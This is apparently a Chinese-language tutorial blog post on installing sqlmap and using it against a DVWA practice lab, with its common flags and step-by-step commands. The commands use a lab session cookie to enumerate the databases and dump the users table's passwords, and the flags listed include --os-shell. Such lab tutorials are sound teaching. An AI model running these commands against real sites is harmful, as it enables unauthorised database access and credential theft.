检测SQL注入漏洞的专用工具是安全人士工具箱的必备品。Sqlmap是由python开发的用来检测与利用SQL注入漏洞的免费开源工具。它可以确定哪些参数、标头或数据元素容易受到SQL注入的影响,以及哪些类型的攻击是可能的。本文详细讲解这款神器的安装及使用。
1、什么是SQLMap?
SQLmap是一款由python开发的用来检测与利用SQL注入漏洞的免费开源工具。支持多种数据库,如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBMDB2、SQLite等数据库。有一个非常棒的特性,即对检测与利用的自动化处理(如数据库指纹、访问底层文件系统、执行命令)。
2、SQLMap下载
官方网站下载:http://sqlmap.org/
这里选择Github去下载
3、win10下SQLMap安装
1、先安装好python环境,不管是2还是3版本都支持(python安装过程略,自行百度解决)。安装后可cmd命令窗口输入python -V 查看到版本信息即为成功。
2、将下载好的sqlmap-master.zip压缩包,解压到自己需要的目录
3、进入解压后的目录,在显示目录路径位置输入cmd回车,在弹出的命令行窗口,输入 python sqlmap.py即开启工具使用
4、SQLMap的常用参数
-u∶指定目标URL进行sql注入检测
–batch:自动去做问题应答
–cookie :当前会话的cookie值
–dbs: 查询当前网站所有数据库
-D:指定数据库名
–tables:查询数据库下的所有表名
-T:指定表名
–columns:指定查询所有字段
-C:指定字段的名称
–dump:查询并导出其数据,拖库
–current-db:获取当前数据库
–current-user :获取当前登录数据库用户名称
–users:查询数据库的所有用户
–password:查询数据库用户的密码
–os-shell:直接返回一个shell(如果存在的话)
-flush-session 刷新session文件
如果不想用之前缓存这个目标的session文件,可以使用这个参数。会清空之前的session,重新测试该目标。
5、SQLMap的基本应用
基于DVWA靶场以下模块,进行SQLMap实操演示
1、注入判断 -u
输入:python sqlmap.py -u http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit。去进行操作–会报错,需要登录。
2、添加cookie绕过登录
python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low”。
运行过程中需要用户输入y/n才能进入下一步操作,如果希望跳过这些,可以在命令末尾加 --batch
通过以上结果可知,存在SQL注入点。
3、查询当下所有数据库
python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” --dbs --batch
4、查询指定库下的表名
python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa --tables
5、查指定表的所有字段
python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa -T users --columns
6、查询字段内容
python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa -T users -C user,password --dump
这个过程有点慢,请耐心等待,最终得到表的所有用户及明文密码信息。
最后
此文中提到的工具及技术操作,仅用于学术交流,请遵守《网络安全法》,严禁将此文中工具和技术用于非法攻击测试。
学无止境,行以致远!
最后感谢每一个认真阅读我文章的人,礼尚往来总是要有的,虽然不是什么很值钱的东西,如果你用得到的话可以直接拿走:
这些资料,对于【软件测试】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴上万个测试工程师们走过最艰难的路程,希望也能帮助到你!